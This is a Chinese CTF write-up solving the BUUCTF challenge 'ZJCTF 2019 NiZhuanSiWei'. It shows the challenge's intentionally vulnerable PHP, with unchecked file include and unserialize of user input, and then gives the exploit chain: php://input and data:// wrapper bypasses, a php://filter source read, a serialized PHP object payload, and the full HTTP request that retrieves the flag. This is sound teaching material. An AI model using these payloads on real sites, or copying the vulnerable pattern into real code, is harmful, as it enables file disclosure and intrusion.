【BUUCTF】ZJCTF 2019 NiZhuanSiWei

题目

image

image

思路

点开题目一看,似乎是代码审计:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

前面的三个变量暂且不提,重点来看 if 语句。

file_get_contents() 的作用是把整个文件读入一个字符串中。然后和字符串 welcome to the zjctf 进行对比。但是我们输入的 $text 变量无法达到这样的目的,因此需要对这个函数进行绕过。

百度得知,这个函数的绕过方式主要有两种:

使用 php://input 伪协议绕过:
在 URL 栏中添加 ?text=php://input,然后采用 POST 方法传入想要 file_get_contents() 函数返回的值。

另一种方法是:

使用 data:// 伪协议绕过:
先将想要函数返回的内容进行 Base64 编码,然后在 URL 中构造 ?text=data://text/plain;base64,xxxxxx,其中 xxxxxx 就是编码后的内容。

这里我打算采用 php://input 的方式进行绕过。

我们在 BurpSuite 中构造如下数据包:

image

注意:记得将请求方式改为 POST!

成功解决了第一层 if 语句。

接下来看第二层 if 语句,匹配了 flag 关键字,然后和上面一样,也需要我们将文件包含进来。这里应该是需要我们将 useless.php 进行读取。

这里我们可以使用 PHP 伪协议:php://filter

回到 BurpSuite,在 URL 中继续添加如下内容:&file=php://filter/read=convert.base64-encode/resource=useless.php

注意:这一部分不要添加到下面 POST 的数据中了!

image

可以看到回显了一段 Base64 数据:

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码后得到:

<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

我们还注意到,之前的代码中有一段反序列化代码:

$password = unserialize($password);

那么这里应该是需要我们把 Flag 类进行序列化,构造如下代码:

<?php
class Flag{  //flag.php
    public $file = 'flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

$password = new Flag();
$password = serialize($password);

echo $password;
?>

image

在线运行得到结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后,总的数据包为:

POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
Host: 81c56cca-c4e5-4dc5-8320-df0995574c0a.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17af01da5697d8-018f42c69e0bcc8-4c3e257a-1fa400-17af01da56aded
Upgrade-Insecure-Requests: 1
Content-Length: 20

welcome to the zjctf
注意:这里需要将 file 处的 PHP 伪协议删除,只留下 useless.php,否则不会成功。

image

成功得到 flag:

flag flag{a0b12781-2f06-4b46-9cdc-391b66e86c7e}
posted @ 2021-09-30 14:43  --Kisaragi--  阅读(122)  评论(0编辑  收藏  举报